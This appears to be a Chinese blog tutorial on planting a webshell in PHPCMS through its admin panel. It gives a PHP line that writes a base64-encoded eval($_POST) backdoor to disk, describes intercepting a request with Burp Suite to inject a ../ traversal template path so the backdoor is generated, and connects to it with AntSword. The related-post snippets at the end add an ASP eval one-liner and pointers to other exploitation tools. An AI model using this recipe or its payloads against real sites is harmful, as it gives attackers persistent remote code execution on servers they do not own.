登录界面

后台网址

www.phpcms.com/admin.php

进入主页面

代码注入拿webshell

接下来我直接就上图了

写入一句话木马

<?php file_put_contents('ooo.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUW2FhXSk7Pz4=')); ?>

查看专题

继续添加第二个专题

利用burpsuit拦截将代码写入，意思是将专题dayu2-扩展设置-专题首页里的index写入代码调用专题ooo1中的一句话生成一句话文件

抓包将index除替换：…/…/…/…/html/special/ooo1/index

查看专题创建成功

利用蚁剑连接一句话即可

PHPcms框架的Webshell相关推荐

Aspcms框架的webshell
文章目录渗透测试-地基篇-Webshell-Aspcms框架(十) 一.登录演示二.数据库备份拿webshell 一.登录演示本次演示一种方法思路拿aspcms框架的webshell,该页面是用 ...
织梦dedecms的框架的Webshell
一.后台后台登录 http://www.dedecms.com/dede 后台界面二.Webshell方法 1:文件上传蚁剑进行连接成功 2:新建一句话文件蚁剑连接 3:html修改打开模 ...
PHP-CMS框架选择 Wordpress、Drupal、October、PHPCMS、Dedecms、帝国CMS
背景:最近有个项目需要做个cms系统,无疑php的cms框架是最多的,国内国外都很多也比较成熟,可以大大节省自己开发的时间. 过程: 先是在网上了解了一下各个cms框架的优劣,然后结合自身实际情况,最 ...
Sql注入工具php,phpcms框架SQL注入--基于Havij工具
sql注入的步骤: 1.首先观察网站是通过GET还是POST方式传输数据的: a.如果是GET传输,则在url中输入?id=1' 或者 " 或者 ') 来测试是否存在sql注入. b.如果是 ...
xyCMS框架的webshell
"%><%eval request("d")%><%s=" 在网站配置页面插入一句话.(注意一定要把前后内容闭合,不然整个网站都要崩溃) ...
Veil生成免杀payload 渗透win10 获取靶机shell
一:实验环境两台机器处于同网段攻击机:kali 192.168.115.134 靶机:win10 192.168.115.1 二:Veil下载.安装.使用 kali里默认没有安装Veil,我们通过 ...
Burp Collaborator 使用总结
0x00:使用原因我们在做渗透测试的时候,经常会遇到这种情况,测试跨站可能有些功能插入恶意脚本后无法立即触发,例如提交反馈表单,需要等管理员打开查看提交信息时才会触发,或者是盲注跨站,盲打 XSS ...
BBScan：信息泄漏批量扫描脚本
有些朋友手上有几十万甚至上百万个域名,如果把这些域名全部扔给wvs. APPscan这样的重型扫描器,显然是不太合适的. 对于一个拥有上万IP的企业,又如何快速定位可能存在弱点的机器呢? 试试信息泄漏 ...
jexboss工具 -- JBOSS未授权访问漏洞利用
其实所有的节日,都不是为了礼物和红包而生,而是提醒我们不要忘记爱与被爱,生活需要仪式感,而你需要的是在乎和关爱... ---- 网易云热评小受:Ubuntu20 小攻:Kali2020 一.搭建该 ...

PHPcms框架的Webshell

登录界面

后台网址

进入主页面

代码注入拿webshell

PHPcms框架的Webshell相关推荐

最新文章

热门文章